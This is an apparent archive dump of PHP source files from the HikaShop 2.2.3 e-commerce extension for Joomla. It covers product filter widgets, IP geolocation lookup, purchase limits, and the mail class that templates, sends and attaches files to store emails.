				$minVal=(int)@$data[0];
				$maxVal=(int)@$data[1];
			}
		}


		if(!empty($datas) && $filter->filter_dynamic){
			$nameMax='max_'.$filter->filter_namekey;
			$nameMin='min_'.$filter->filter_namekey;
			$array = $datas['limits'];
			if(!empty($array->$nameMax)){
				$maxVal=(int)$array->$nameMax;
			}else{
				$maxVal=1000;
			}
			if(!empty($array->$nameMin)){
				$minVal=(int)$array->$nameMin;
			}else{
				$minVal=0;
			}
		}
		if($minVal>$maxVal){
			$tmp = $maxVal;
			$maxVal = $minVal;
			$minVal = $tmp;
		}
		if($cursorMin>$cursorMax){
			$tmp = $cursorMax;
			$cursorMax = $cursorMin;
			$cursorMin = $tmp;
		}
		$onClick='';
		if($filter->filter_direct_application){
			$onClick='document.getElementById(\'slider_'.$filter->filter_namekey.'_'.$divName.'\').value="";document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();';
		}
		$js='if(!hkjQuery) window.hkjQuery = window.jQuery;
hkjQuery(document).ready(function(){
			hkjQuery("#slider_'.$filter->filter_namekey.'_'.$divName.'").prop(\'slide\',null).slider({
				'.$cursorEffect.'
				range: true,
				min: '.$cursorMin.',
				max: '.$cursorMax.',
				'.$cursorStep.'
				values: ['.$minVal.', '.$maxVal.'],
				slide: function( event, ui ) {
					hkjQuery(
"#filter_'.$filter->filter_namekey.'_'.$divName.'_values"
).val(  ui.values[ 0 ] + " - " + ui.values[ 1 ] );
					hkjQuery(
"#filter_'.$filter->filter_namekey.'_'.$divName.'"
).val(1);
					hkjQuery(
"#filter_span_'.$filter->filter_namekey.'_'.$divName.'"
).html(  ui.values[ 0 ] + " - " + ui.values[ 1 ] );
				},
				change: function( event, ui ) {' .
					$onClick .'
				}
			});
			hkjQuery(
"#filter_'.$filter->filter_namekey.'_'.$divName.'_values"
).val(  hkjQuery(
"#slider_'.$filter->filter_namekey.'_'.$divName.'"
).slider( "values", 0 ) + " - " + hkjQuery(
"#slider_'.$filter->filter_namekey.'_'.$divName.'"
).slider( "values", 1 ) );
			hkjQuery(
"#filter_span_'.$filter->filter_namekey.'_'.$divName.'"
).html(  hkjQuery(
"#slider_'.$filter->filter_namekey.'_'.$divName.'"
).slider( "values", 0 ) + " - " + hkjQuery(
"#slider_'.$filter->filter_namekey.'_'.$divName.'"
).slider( "values", 1 ) );

			hkjQuery(\'#dialog_link, ul#icons li\').hover(
				function() { hkjQuery(this).addClass(\'ui-state-hover\'); },
				function() { hkjQuery(this).removeClass(\'ui-state-hover\');
}
			);

		});';
		if(HIKASHOP_PHP5){
			$doc = JFactory::getDocument();
		}else{
			$doc =& JFactory::getDocument();
		}

		$doc->addScriptDeclaration("\n<!--\n".$js."\n//-->\n");

		static $done=true;
		if($done){
			$done=false;
			hikashop_loadJslib('jquery');
			hikashop_loadJslib('jquery-ui');
		}
		$hasValue='';
		if(!empty($selected) && $selected[0]==1){
			if($values[0]!='none' && ( isset($data) &&
!in_array($data,array(" ",'')))){
				$deleteButton='  '.parent::getDeleteButton($filter, $divName,
'11', $html, '', true);
				$hasValue='1';
			}

		}

		if($filter->filter_options['title_position']=='left'){
			$float='float:left;';
		}
		$html='<div style="'.$cursorWidth.'
'.$float.' margin-top:10px; margin-bottom:10px;"
id="slider_'.$filter->filter_namekey.'_'.$divName.'"></div>';
		$html=$this->cursorTitlePosition($filter, $html, $cursorWidth,
$divName,$deleteButton,$hasValue);

		return $html;

	}

	function cursorTitlePosition($filter, $html, $width,
$divName,$deleteButton,$hasValue){
		$unit='';
		if(empty($filter->filter_options['range_size'])){
			$size=10;
		}else{
			$size=$filter->filter_options['range_size'];
		}
		$input='<input size="'.$size.'"
type="hidden"
name="filter_'.$filter->filter_namekey.'"
id="filter_'.$filter->filter_namekey.'_'.$divName.'"
value="'.$hasValue.'"/>';
		$input.='<input size="'.$size.'"
type="hidden"
name="filter_'.$filter->filter_namekey.'_values"
id="filter_'.$filter->filter_namekey.'_'.$divName.'_values"/>';
		$input.='<span
id="filter_span_'.$filter->filter_namekey.'_'.$divName.'"
style="display:inline-block; border:0; color:#f6931f;
font-weight:bold;"></span>'.$deleteButton;
		if($filter->filter_data=='weight' ||
$filter->filter_data=='length' ||
$filter->filter_data=='width' ||
$filter->filter_data=='height' ||
$filter->filter_data=='surface' ||
$filter->filter_data=='volume'){
			$unit='
('.$filter->filter_options['information_unit'].')';
		}
		$name=parent::trans($filter->filter_name).$unit;
		$position=$filter->filter_options['title_position'];

		switch($position){
			case 'top_left':
				$html=$name.': '.$input.$html;
				break;
			case 'top_right':
				$html='<div style="'.$width.'
text-align:right">'.$name.':
'.$input.''.$html.'</div>';
				break;
			case 'top_center':
				$html='<div style="'.$width.'
text-align:center";">'.$name.': '.$input.'
'.$html.'</div>';
				break;
			case 'bottom_left':
				$html=$html.$name.': '.$input;
				break;
			case 'bottom_right':
				$html='<div style="'.$width.'
text-align:right">'.$html.$name.':
'.$input.'</div>';
				break;
			case 'bottom_center':
				$html='<div style="'.$width.'
text-align:center";">'.$html.$name.':
'.$input.'</div>';
				break;
		}
		return $html;
	}

}

class hikashopMultipledropdownClass extends hikashopSingledropdownClass{
	function display($filter, $divName, &$parent, $datas='',
$multiple='', $tab=''){
		$multiple='multiple="multiple" size="5"';
		$tab='[]';
		return parent::display($filter, $divName, $parent, $datas, $multiple,
$tab);
	}
}

class hikashopCheckboxClass extends hikashopRadioClass{
	function display($filter, $divName, &$parent, $datas='',
$type='',$tab=''){
		$type='checkbox';
		$tab='[]';
		return parent::display($filter, $divName, $parent, $datas, $type,$tab);
	}
}

class hikashopInStockCheckboxClass extends hikashopFilterTypeClass{
	function display($filter, $divName, &$parent, $datas='',
$type='',$tab=''){
		$html='';
		$selected=parent::display($filter, $divName, $parent);
		$checked='';

		if($selected=='in_stock'){
			$checked='checked="checked"';
		}

		$onClick='';
		if($filter->filter_direct_application){
			$onClick='onchange="document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();"';
		}


		$html.= '<span
class="hikashop_filter_checkbox"><INPUT
'.$onClick.' '.$checked.' type="checkbox"
name="filter_'.$filter->filter_namekey.$tab.'"
value="in_stock"></label></span>';
		$html.='<span style="margin-left:
5px;">'.$filter->filter_name.'</span>';
		return $html;
	}
}
geolocation.php000064400000003725151160302620007563 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopGeolocationClass extends hikashopClass{
	var $tables = array('geolocation');
	var $pkeys = array('geolocation_id');

	function save(&$element){
		if(empty($element->geolocation_id) ||
!empty($element->geolocation_ip)){
			if(empty($element->geolocation_ip)){
				return false;
			}

			$location = $this->getIPLocation($element->geolocation_ip);
			if(empty($location)){
				return false;
			}
			$element->geolocation_latitude = @$location->Latitude;
			$element->geolocation_longitude = @$location->Longitude;
			$element->geolocation_postal_code = @$location->ZipPostalCode;
			$element->geolocation_country = @$location->CountryName;
			$element->geolocation_country_code = @$location->CountryCode;
			$element->geolocation_state = @$location->RegionName;
			$element->geolocation_state_code = @$location->RegionCode;
			$element->geolocation_city = @$location->City;
			$element->geolocation_created = time();
		}
		return parent::save($element);
	}

	function getIPLocation($ip){
		$plugin = JPluginHelper::getPlugin('system',
'hikashopgeolocation');
		if(empty($plugin) || empty($plugin->params)) return false;
		jimport('joomla.html.parameter');
		$this->params = new HikaParameter( $plugin->params );
		$geoClass = hikashop_get('inc.geolocation');
		$api_key =
$this->params->get('geoloc_api_key','');
		if(empty($api_key)) return false;
		$timeout = $this->params->get('geoloc_timeout',2);
		if(!empty($timeout)) $geoClass->setTimeout($timeout);
		$geoClass->setKey($api_key);
		$locations = $geoClass->getCountry($ip);
		if(!empty($location->countryCode) && $location->countryCode
=='UK'){
			$location->countryCode='GB';
		}
		return $locations;
	}
}
history.php000064400000000627151160302620006757 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopHistoryClass extends hikashopClass{
	var $tables = array('history');
	var $pkeys = array('history_id');
}
index.html000064400000000054151160302620006534 0ustar00<html><body
bgcolor="#FFFFFF"></body></html>limit.php000064400000003221151160302620006365
0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopLimitClass extends hikashopClass{
	var $tables = array('limit');
	var $pkeys = array('limit_id');
	var $toggle =
array('limit_published'=>'limit_id');

	function get($id,$default=null){
		$result = parent::get($id);
		$result->limit_status = explode(',',
$result->limit_status);
		return $result;
	}

	function saveForm(){
		$limit = new stdClass();
		$limit->limit_id = hikashop_getCID('limit_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['limit'] as $column => $value){
			hikashop_secureField($column);
			if(is_array($value)){
				$value = implode(',',$value);
			}
			$limit->$column = strip_tags($value);
		}
		if(!empty($limit->limit_start)){
			$limit->limit_start=hikashop_getTime($limit->limit_start);
		}
		if(!empty($limit->limit_end)){
			$limit->limit_end=hikashop_getTime($limit->limit_end);
		}
		if(empty($limit->limit_id)){
			$limit->limit_created = time();
		}
		$limit->limit_modified = time();

		$status = $this->save($limit);

		return $status;
	}

	function save(&$limit){
		if(empty($limit->limit_type) || $limit->limit_type !=
'weight' ) {
			$limit->limit_unit = '';
		}
		if(!empty($limit->limit_status) &&
is_array($limit->limit_status)){
			$limit->limit_status =
implode(',',$limit->limit_status);
		}
		$status = parent::save($limit);
		return $status;
	}
}
mail.php000064400000054076151160302620006207 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopMailClass {
	var $mail_success = true;
	var $_force_embed = false;
	var $mail_folder = '';

	function __construct(){
		$this->mailer = JFactory::getMailer();
	}

	function get($name,&$data){
		$this->mailer = JFactory::getMailer();
		$mail = new stdClass();
		$mail->mail_name = $name;
		$this->loadInfos($mail,$name);
		$mail->body = $this->loadEmail($mail,$data);
		$mail->altbody = $this->loadEmail($mail,$data,'text');
		$mail->preload =
$this->loadEmail($mail,$data,'preload');
		$mail->data =& $data;
		if($data!==true) $mail->body= hikashop_absoluteURL($mail->body);
		if(empty($mail->altbody)&&$data!==true) $mail->altbody =
$this->textVersion($mail->body);

		return $mail;
	}

	function loadInfos(&$mail, $name){
		$config =& hikashop_config();
		$mail->from_name = $config->get($name.'.from_name');
		$mail->from_email = $config->get($name.'.from_email');
		$mail->reply_name = $config->get($name.'.reply_name');
		$mail->reply_email = $config->get($name.'.reply_email');
		$mail->subject = $config->get($name.'.subject');
		$mail->html = $config->get($name.'.html');
		$mail->published = $config->get($name.'.published',1);

		$attach = $config->get($name.'.attach');
		if(empty($attach)){
			$attach = array();
		}else{
			$attach = unserialize($attach);
		}
		$mail->attach=$attach;
		if(empty($mail->from_name)){
			$mail->from_name = $config->get('from_name');
		}
		if(empty($mail->from_email)){
			$mail->from_email = $config->get('from_email');
		}
		if(empty($mail->reply_name)){
			$mail->reply_name = $config->get('reply_name');
		}
		if(empty($mail->reply_email)){
			$mail->reply_email = $config->get('reply_email');
		}
		if(empty($mail->html)){
			$mail->html = $config->get('html');
		}
	}

	function saveForm(){
		$app = JFactory::getApplication();
		$mail = new stdClass();
		$mail->mail_name = JRequest::getString('mail_name');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['mail'] as $column => $value){
			hikashop_secureField($column);
			if(in_array($column,array('params','body','altbody','preload'))){
				$mail->$column = $value;
			}else{
				$mail->$column = strip_tags($value);
			}
		}

		$mail->attach = array();
		$attachments = JRequest::getVar( 'attachments', array(),
'files', 'array' );

		if(!empty($attachments['name'][0]) ||
!empty($attachments['name'][1])){
			jimport('joomla.filesystem.file');
			$config =& hikashop_config();
			$allowedFiles =
explode(',',strtolower($config->get('allowedfiles')));
			$uploadFolder =
JPath::clean(html_entity_decode($config->get('uploadfolder')));
			if(!preg_match('#^([A-Z]:)?/.*#',$uploadFolder)){
				$uploadFolder = trim($uploadFolder,DS.' ').DS;
				$uploadFolder = JPath::clean(HIKASHOP_ROOT.$uploadFolder);
			}
			if(!is_dir($uploadFolder)){
				jimport('joomla.filesystem.folder');
				JFolder::create($uploadFolder);
			}
			if(!is_writable($uploadFolder)){
				@chmod($uploadFolder,'0755');
				if(!is_writable($uploadFolder)){
					$app->enqueueMessage(JText::sprintf(
'WRITABLE_FOLDER',$uploadFolder), 'notice');
				}
			}

			$oldAttachments =
unserialize($config->get('order_creation_notification.attach'));
			foreach($oldAttachments as $oldAttachment){
				$mail->attach[] = $oldAttachment;
			}

			foreach($attachments['name'] as $id => $filename){
				if(empty($filename)) continue;
				$attachment = new stdClass();
				$attachment->filename = strtolower(JFile::makeSafe($filename));
				$attachment->size = $attachments['size'][$id];
				if(!preg_match('#\.('.str_replace(array(',','.'),array('|','\.'),$config->get('allowedfiles')).')$#Ui',$attachment->filename,$extension)
||
preg_match('#\.(php.?|.?htm.?|pl|py|jsp|asp|sh|cgi)$#Ui',$attachment->filename)){
					$app->enqueueMessage(JText::sprintf(
'ACCEPTED_TYPE',substr($attachment->filename,strrpos($attachment->filename,'.')+1),$config->get('allowedfiles')),
'notice');
					continue;
				}
				$attachment->filename = str_replace(array('.','
'),'_',substr($attachment->filename,0,strpos($attachment->filename,$extension[0]))).$extension[0];
				if ( !move_uploaded_file($attachments['tmp_name'][$id],
$uploadFolder . $attachment->filename)) {
					if(!JFile::upload($attachments['tmp_name'][$id],
$uploadFolder . $attachment->filename)){
						$app->enqueueMessage(JText::sprintf(
'FAIL_UPLOAD',$attachments['tmp_name'][$id],$uploadFolder
. $attachment->filename), 'error');
						continue;
					}
				}
				$mail->attach[] = $attachment;

			}
		}

		return $this->save($mail);
	}

	function save(&$element){
		if(empty($element->mail_name))
			return false;

		$configData = array();
		if(isset($element->body)){
			$this->saveEmail($element->mail_name,$element->body,'html');
		}
		if(isset($element->altbody)){
			$this->saveEmail($element->mail_name,$element->altbody,'text');
		}
		if(isset($element->preload)){
			$this->saveEmail($element->mail_name,$element->preload,'preload');
		}
		if(isset($element->from_name)){
			$configData[$element->mail_name.'.from_name']=$element->from_name;
		}
		if(isset($element->from_email)){
			$configData[$element->mail_name.'.from_email']=$element->from_email;
		}
		if(isset($element->reply_name)){
			$configData[$element->mail_name.'.reply_name']=$element->reply_name;
		}
		if(isset($element->reply_email)){
			$configData[$element->mail_name.'.reply_email']=$element->reply_email;
		}
		if(isset($element->subject)){
			$configData[$element->mail_name.'.subject']=$element->subject;
		}
		if(isset($element->html)){
			$configData[$element->mail_name.'.html']=$element->html;
		}
		if(isset($element->attach)){
			$configData[$element->mail_name.'.attach']=serialize($element->attach);
		}
		if(isset($element->published)){
			$configData[$element->mail_name.'.published']=(int)$element->published;
		}

		$config =& hikashop_config();
		$config->save($configData);
		return $element->mail_name;
	}

	function delete(&$mail_name, $type = '') {
		$path = $this->getMailPath($mail_name, $type, true);
		if(empty($path))
			return false;

		jimport('joomla.filesystem.file');
		if(file_exists($path)){
			return JFile::delete($path);
		}
		return true;
	}

	function saveEmail($name,$data,$type='html'){
		$path = $this->getMailPath($name, $type, true);
		if(empty($path))
			$path =
$this->mail_folder.$name.'.'.$type.'.modified.php';

		jimport('joomla.filesystem.file');
		if(file_exists($path)){
			JFile::delete($path);
		}
		return JFile::write($path,$data);
	}

	function loadEmail(&$mail,&$data,$type='html') {
		$path = $this->getMailPath($mail->mail_name, $type);
		if(empty($path))
			return '';

		if($data === true) {
			jimport('joomla.filesystem.file');
			return JFile::read($path);
		}

		$preload = $this->getMailPath($mail->mail_name,
'preload');
		$postload = $this->getMailPath($mail->mail_name,
'postload');

		$currencyHelper = hikashop_get('class.currency');

		ob_start();

		$useTemplating = false;
		$vars = array();
		$texts = array();
		$templates = array();

		if(!empty($preload) && file_exists($preload))
			include $preload;

		if($useTemplating || !empty($vars) || !empty($texts) ||
!empty($templates))
			ob_start();

		require($path);

		if(!empty($postload) && file_exists($postload)) {
			include $postload;
		} else if($useTemplating || !empty($vars) || !empty($texts) ||
!empty($templates)) {
			echo $this->processMailTemplate($mail, $data, $texts, $vars,
$templates);
		}

		return ob_get_clean();
	}

	function processMailTemplate(&$mail, &$data, $texts, $vars,
$templates = array()) {
		$content = ob_get_clean();

		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$dispatcher->trigger('onHkProcessMailTemplate',
array(&$mail, &$data, &$content, &$vars, &$texts,
&$templates));

		if(!empty($templates)) {
			foreach($templates as $key => $templateVariables) {
				$cursorStart = strpos($content,
'<!--{START:'.$key.'}-->');
				$cursorStartLength =
strlen('<!--{START:'.$key.'}-->');
				$cursorEnd = strpos($content,
'<!--{END:'.$key.'}-->');
				$cusorEndLength =
strlen('<!--{END:'.$key.'}-->');

				$templateData = '';
				$templateContent = '';
				if($cursorStart !== false && $cursorEnd !== false) {
					$templateContent = substr($content, $cursorStart + $cursorStartLength,
$cursorEnd - $cursorStart - $cursorStartLength);
					if(strpos($content, '{VAR:'.$key.'}') === false)
						$content = substr($content, 0, $cursorStart) .
'{VAR:'.$key.'}' . substr($content, $cursorEnd +
$cusorEndLength);
					else
						$content = substr($content, 0, $cursorStart) . substr($content,
$cursorEnd + $cusorEndLength);
				}
				if(!empty($templateContent) && !empty($templateVariables)) {
					foreach($templateVariables as $c) {
						$d = $templateContent;
						foreach($c as $k => $v) {
							if(is_string($v) || is_int($v) || is_float($v)) {
								$d = str_replace('{LINEVAR:'.$k.'}', $v, $d);
							} else if(is_object($v) || is_array($v)) {
								foreach($v as $objK => $objV) {
									if(is_string($objV) || is_int($objV) || is_float($objV))
										$d =
str_replace('{LINEVAR:'.$k.'.'.$objK.'}',
$objV, $d);
								}
							}
						}
						$templateData .= $d;
					}
					$content = str_replace('{VAR:'.$key.'}',
$templateData, $content);
				}
			}
		}

		foreach($texts as $k => $v) {
			$content = str_replace('{TXT:'.$k.'}', $v,
$content);
		}

		foreach($vars as $k => $v) {
			if(is_string($v) || is_int($v) || is_float($v))
				$content = str_replace('{VAR:'.$k.'}', $v,
$content);
			else if(is_object($v) || is_array($v)) {
				foreach($v as $objK => $objV) {
					if(is_string($objV) || is_int($objV) || is_float($objV))
						$content =
str_replace('{VAR:'.$k.'.'.$objK.'}', $objV,
$content);
				}
			}

			$startIf = '<!--{IF:'.$k.'}-->';
			$endIf = '<!--{ENDIF:'.$k.'}-->';
			if(empty($v)) {
				$cursorStart = strpos($content, $startIf);
				$cursorEnd = strpos($content, $endIf);
				if($cursorStart !== false && $cursorEnd !== false) {
					$content = substr($content, 0, $cursorStart) . substr($content,
$cursorEnd + strlen($endIf));
				} else {
					$content = str_replace(array($startIf, $endIf), '',
$content);
				}
			} else {
				$content = str_replace(array($startIf, $endIf), '',
$content);
			}
		}
		if(strpos($content, '<!--{IF:') !== false) {
			$out = array();
			if(preg_match_all('#<!--{IF:([- _A-Z0-9a-z]+)}-->#U',
$content, $out)) {
				foreach($out[1] as $key) {
					$startIf = '<!--{IF:'.$key.'}-->';
					$endIf = '<!--{ENDIF:'.$key.'}-->';
					$cursorStart = strpos($content, $startIf);
					$cursorEnd = strpos($content, $endIf);
					if($cursorStart !== false && $cursorEnd !== false) {
						$content = substr($content, 0, $cursorStart) . substr($content,
$cursorEnd + strlen($endIf));
					} else {
						$content = str_replace(array($startIf, $endIf), '',
$content);
					}
				}
			}
		}

		if(strpos($content, '{TXT:') !== false) {
			$out = array();
			if(preg_match_all('#{TXT:([- _A-Z0-9a-z]+)}#U', $content,
$out)) {
				foreach($out[1] as $key) {
					if(isset($texts[$key]))
						$content = str_replace('{TXT:'.$key.'}',
$texts[$key], $content);
					else
						$content = str_replace('{TXT:'.$key.'}',
JText::_($key), $content);
				}
			}
		}

		if(strpos($content, '{VAR:') !== false) {
			$out = array();
			if(preg_match_all('#{VAR:([-. _A-Z0-9a-z]+)}#U', $content,
$out)) {
				foreach($out[1] as $key) {
					$content = str_replace('{VAR:'.$key.'}',
'', $content);
				}
			}
		}

		return $content;
	}

	function getMailPath($mail_name, $type = 'html',
$getModifiedFile = false) {
		if(empty($this->mail_folder)) { $this->mail_folder =
HIKASHOP_MEDIA.'mail'.DS; }

		if(!file_exists($this->mail_folder.$mail_name.'.'.$type.'.php'))
{

			$plugin_files = array();
			JPluginHelper::importPlugin('hikashop');
			$dispatcher = JDispatcher::getInstance();
			$dispatcher->trigger('onMailListing',
array(&$plugin_files));
			if(!empty($plugin_files)) {
				$mail_folder = '';
				$mail_file = '';
				foreach($plugin_files as $plugin_file) {
					if($plugin_file['file'] == $mail_name) {
						$mail_folder = @$plugin_file['folder'];
						$mail_file = $plugin_file['filename'];
						break;
					}
				}
				if(!empty($mail_file)) {
					if(empty($mail_folder))
						$mail_folder = $this->mail_folder;

					$path =
$mail_folder.$mail_file.'.'.$type.'.modified.php';
					if(!file_exists($path)) {
						$path = $mail_folder .
$mail_file.'.'.$type.'.php';
						if(!file_exists($path)) {
							return '';
						}
						if($getModifiedFile)
							return $path =
$mail_folder.$mail_file.'.'.$type.'.modified.php';
					}
					return $path;
				}
			}
		}

		$path =
$this->mail_folder.$mail_name.'.'.$type.'.modified.php';
		if(!file_exists($path)){
			$path =
$this->mail_folder.$mail_name.'.'.$type.'.php';
			if(!file_exists($path)){
				return '';
			}
			if($getModifiedFile)
				return
$this->mail_folder.$mail_name.'.'.$type.'.modified.php';
			return $path;
		}
		return $path;
	}

	function sendMail(&$mail){
		if(empty($mail)){
			return false;
		}
		if(isset($mail->published) && !$mail->published) return
true;

		$do = true;
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$dispatcher->trigger('onBeforeMailPrepare',
array(&$mail, &$this->mailer, &$do) );
		if(!$do) {
			$this->mail_success = false;
			return false;
		}

		$config =& hikashop_config();
		$this->mailer->CharSet = $config->get('charset');
		if(empty($this->mailer->CharSet)) $this->mailer->CharSet =
'utf-8';
		$this->mailer->Encoding =
$config->get('encoding_format');
		if(empty($this->mailer->Encoding)) $this->mailer->Encoding =
'base64';
		$this->mailer->WordWrap =
intval($config->get('word_wrapping',0));
		$this->mailer->Sender =
$this->cleanText($config->get('bounce_email'));
		if(empty($this->mailer->Sender)) $this->mailer->Sender =
'';
		if(!empty($mail->dst_email)){
			if(is_array($mail->dst_email)){
				$this->mailer->addRecipient($mail->dst_email);
			}else{
				if(strpos($mail->dst_email,',')){
					$mail->dst_email = explode(',',$mail->dst_email);
					$this->mailer->addRecipient($mail->dst_email);
				}else{
					$addedName = $config->get('add_names',true) ?
$this->cleanText(@$mail->dst_name) : '';
					$this->mailer->AddAddress($this->cleanText($mail->dst_email),$addedName);
				}
			}
		}
		$this->setFrom($mail->from_email,@$mail->from_name);
		if(!empty($mail->reply_email)){
			$replyToName = $config->get('add_names',true) ?
$this->cleanText(@$mail->reply_name) : '';
			$this->mailer->AddReplyTo(array($this->cleanText($mail->reply_email),$replyToName));
		}
		$this->mailer->setSubject($mail->subject);
		$this->mailer->IsHTML(@$mail->html);
		if(!empty($mail->html)){
			$style = '';
			if(isset($mail->htmlStyle)) {
				$style = '<style
type="text/css">'."\r\n".$mail->htmlStyle."\r\n".'</style>';
			}
			$htmlExtra = '';
			$lang = JFactory::getLanguage();
			if($lang->isRTL()) {
				$htmlExtra = ' dir="rtl"';
			}
			$this->mailer->Body = '<html><head>'.
				'<meta http-equiv="Content-Type"
content="text/html;
charset='.$this->mailer->CharSet.'">'.
				'<title>'.$mail->subject.'</title>'.$style.
				'<meta name="viewport"
content="width=device-width, initial-scale=1.0">'.
				'</head><body'.$htmlExtra.'>'.hikashop_absoluteURL($mail->body).'</body></html>';
			if($config->get('multiple_part',false)){
				if(empty($mail->altbody)){
					$this->mailer->AltBody = $this->textVersion($mail->body);
				}else{
					$this->mailer->AltBody = $mail->altbody;
				}
			}
		}else{
			if(empty($mail->altbody)&&!empty($mail->body))
$mail->altbody = $this->textVersion($mail->body);
			$this->mailer->Body = $mail->altbody;
		}
		if(empty($mail->attachments)&&!empty($mail->mail_name)){
			$mail->attachments=$this->loadAttachments($mail->mail_name);
		}
		if(!empty($mail->attachments)){
			if($config->get('embed_files') || $this->_force_embed){
				foreach($mail->attachments as $attachment){
					$this->mailer->AddAttachment($attachment->filename);
				}
			}else{
				$attachStringHTML =
'<br/><fieldset><legend>'.JText::_(
'ATTACHMENTS' ).'</legend><table>';
				$attachStringText = "\n"."\n".'-------
'.JText::_( 'ATTACHMENTS' ).' -------';
				foreach($mail->attachments as $attachment){
					$attachStringHTML .= '<tr><td><a
href="'.$attachment->url.'"
target="_blank">'.$attachment->name.'</a></td></tr>';
					$attachStringText .= "\n".'--
'.$attachment->name.' ( '.$attachment->url.'
)';
				}
				$attachStringHTML .= '</table></fieldset>';
				if(@$mail->html){
					$this->mailer->Body .= $attachStringHTML;
					if(!empty($this->mailer->AltBody)) $this->mailer->AltBody
.= "\n".$attachStringText;
				}else{
					$this->mailer->Body .= $attachStringText;
				}
			}
		}
		if((bool)$config->get('embed_images',0)){
			$this->embedImages();
		}

		$dispatcher->trigger('onBeforeMailSend', array(&$mail,
&$this->mailer) );

		if(strtoupper($this->mailer->CharSet) != 'UTF-8'){
			$encodingHelper = hikashop_get('helper.encoding');
			$this->mailer->Body =
$encodingHelper->change($this->mailer->Body,'UTF-8',$this->mailer->CharSet);
			$this->mailer->Subject =
$encodingHelper->change($this->mailer->Subject,'UTF-8',$this->mailer->CharSet);
			if(!empty($this->mailer->AltBody)) $this->mailer->AltBody =
$encodingHelper->change($this->mailer->AltBody,'UTF-8',$this->mailer->CharSet);
		}
		$this->mailer->Body = str_replace(" ",'
',$this->mailer->Body);

		$result = $this->mailer->Send();
		if(!$result || !empty($result->message)){
			$this->mail_success = false;
		}
		if(!empty($result->message)){
		}

		return $result;
	}

	function loadAttachments($name){
		$config =& hikashop_config();
		$attach = $config->get($name.'.attach');
		if(empty($attach)){
			$attach = array();
		}else{
			$attachData = unserialize($attach);
			$uploadFolder =
str_replace(array('/','\\'),DS,html_entity_decode($config->get('uploadfolder')));
			if(preg_match('#^([A-Z]:)?/.*#',$uploadFolder)){
				if(!$config->get('embed_files')){
					$this->_force_embed = true;
				}
				$uploadPath =
str_replace(array('/','\\'),DS,$uploadFolder);
			}else{
				$uploadFolder = trim($uploadFolder,DS.' ').DS;
				$uploadPath =
str_replace(array('/','\\'),DS,HIKASHOP_ROOT.$uploadFolder);
			}
			$uploadURL = HIKASHOP_LIVE.str_replace(DS,'/',$uploadFolder);
			$attach = array();
			foreach($attachData as $oneAttach){
				$attachObj = new stdClass();
				$attachObj->name = $oneAttach->filename;
				$attachObj->filename = $uploadPath.$oneAttach->filename;
				$attachObj->url = $uploadURL.$oneAttach->filename;
				$attach[] = $attachObj;
			}
		}
		return $attach;
	}
	function cleanText($text){
		return trim( preg_replace( '/(%0A|%0D|\n+|\r+)/i',
'', (string) $text ) );
	}

	function setFrom($email,$name=''){
		if(!empty($email)){
			$this->mailer->From = $this->cleanText($email);
		}
		$config =& hikashop_config();
		if(!empty($name) AND $config->get('add_names',true)){
			$this->mailer->FromName = $this->cleanText($name);
		}
	}

	function textVersion($html){
		$html = hikashop_absoluteURL($html);
		$html = preg_replace('# +#',' ',$html);
		$html =
str_replace(array("\n","\r","\t"),'',$html);
		$removeScript = "#< *script(?:(?!< */ *script *>).)*< */
*script *>#isU";
		$removeStyle = "#< *style(?:(?!< */ *style *>).)*< */
*style *>#isU";
		$removeStrikeTags =  '#< *strike(?:(?!< */ *strike
*>).)*< */ *strike *>#iU';
		$replaceByTwoReturnChar = '#< *(h1|h2)[^>]*>#Ui';
		$replaceByStars = '#< *li[^>]*>#Ui';
		$replaceByReturnChar1 = '#< */ *(li|td|tr|div|p)[^>]*>
*< *(li|td|tr|div|p)[^>]*>#Ui';
		$replaceByReturnChar = '#< */?
*(br|p|h1|h2|h3|li|ul|h4|h5|h6|tr|td|div)[^>]*>#Ui';
		$replaceLinks = '/< *a[^>]*href *=
*"([^"]*)"[^>]*>(.*)< *\/ *a *>/Uis';
		$text =
preg_replace(array($removeScript,$removeStyle,$removeStrikeTags,$replaceByTwoReturnChar,$replaceByStars,$replaceByReturnChar1,$replaceByReturnChar,$replaceLinks),array('','','',"\n\n","\n*
","\n","\n",'${2} ( ${1} )'),$html);
		$text = str_replace(array(" ","&nbsp;"),'
',strip_tags($text));
		$text = trim(@html_entity_decode($text,ENT_QUOTES,'UTF-8'));
		$text = preg_replace('# +#',' ',$text);
		$text = preg_replace('#\n *\n\s+#',"\n\n",$text);
		return $text;
	}

	function embedImages(){
		preg_match_all('/(src|background)="([^"]*)"/Ui',
$this->mailer->Body, $images);
		$result = true;
		if(!empty($images[2])) {
			$mimetypes = array(
				'bmp'   =>  'image/bmp',
				'gif'   =>  'image/gif',
				'jpeg'  =>  'image/jpeg',
				'jpg'   =>  'image/jpeg',
				'jpe'   =>  'image/jpeg',
				'png'   =>  'image/png',
				'tiff'  =>  'image/tiff',
				'tif'   =>  'image/tiff'
			);
